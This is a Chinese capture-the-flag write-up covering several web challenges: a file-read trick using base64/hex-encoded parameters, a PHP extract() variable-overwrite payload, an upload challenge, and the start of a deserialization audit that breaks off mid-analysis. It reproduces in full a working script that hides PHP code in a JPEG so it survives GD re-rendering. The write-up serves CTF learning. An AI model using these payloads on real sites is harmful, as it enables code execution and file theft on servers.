滴~
打开链接,很明显,url有提示,jpg的值是经过两次base64和一次hex编码后的结果,所以反向解码得到的结果为flag.jpg
本来想着是不是有php伪协议的漏洞,然后试着读取并没有读到什么有用的东西,所以直接就读取index.php试试,前提是把index.php给按照前面的规律编码一下,结果是
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
当作jpg的值传入,结果同样有一个图片,不过没有显示出来
查看页面源代码,很明显是一个图片经过base64编码后的结果,所以拿去在解码,解码时需要把上面带的前缀和后缀去掉,不然识别不出来是base64编码
解码的结果为
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
这里就有考验脑洞的地方了,这段代码里有一个CSDN的博客,它是有用的,还有日期,给出的文章链接只是承接部分,我们需要找到作者在7月4好4号的那篇文章,里面有提示。。。
这是链接
https://blog.csdn.net/fengbanliuyun/article/details/80913909
讲的是临时文件的知识点,所以我们就在链接后加上practice.txt.swp
会出现
而且我们之前读到的代码里有**$file = str_replace(“config”,"!", $file);**意思是把!替换成config
所以就按之前读取index.php的方法去读取flagconfigddctf.php
同样的,会读取到一段代码
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
这里有很明显的变量覆盖漏洞,解决方法就是构造如下的payload(把传入的参数置空就OK)
?uid=&k=
Upload-IMG
文件上传题目,先上传一张正常的照片
提示图片中未包含phpinfo()
所以我们用notepad++去加上phpinfo(),但是加上后还是会显示一样的错误信息,说明我们上传的信息应该是被过滤掉了。
我们把原先自己的图片的hex和上传过后的hex比较一下
多了gd的标志,说明有gd库渲染漏洞,用脚本跑一下
生成了一个新的payload图片,再上传就能得到flag了。。。
脚本如下
<?php
$miniPayload = "<?php phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
签到题
点开题目链接,发现提示“抱歉,您没有登陆权限,请获取权限后访问-----”,先查看源代码,发现了“js/index.is”有提示
请求头中的参数"didictf_username"的值为空
根据题目“没有权限”,就构造值为admin,经过编辑和重发,发现返回了一个地址
访问app/fL2XID2i0Cdh.php是2个类的源代码
Application类和Application类的继承:Session类
审计源代码,发现Application类中有__destruct()魔术方法,说明有可能会用到PHP反序列化的内容.里面有一个对参数$path长度判断的一个if语句,还有文件包含,满足条件的话,返回Congratulations
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
还有对路径的过滤,’…/‘和’…\'都被过滤了
private function sanitizepath($path)
{
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
再继续对Session类审计
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
);
}
以上代码显示,可能存在一个key.txt,但是访问config文件的话,显示权限不够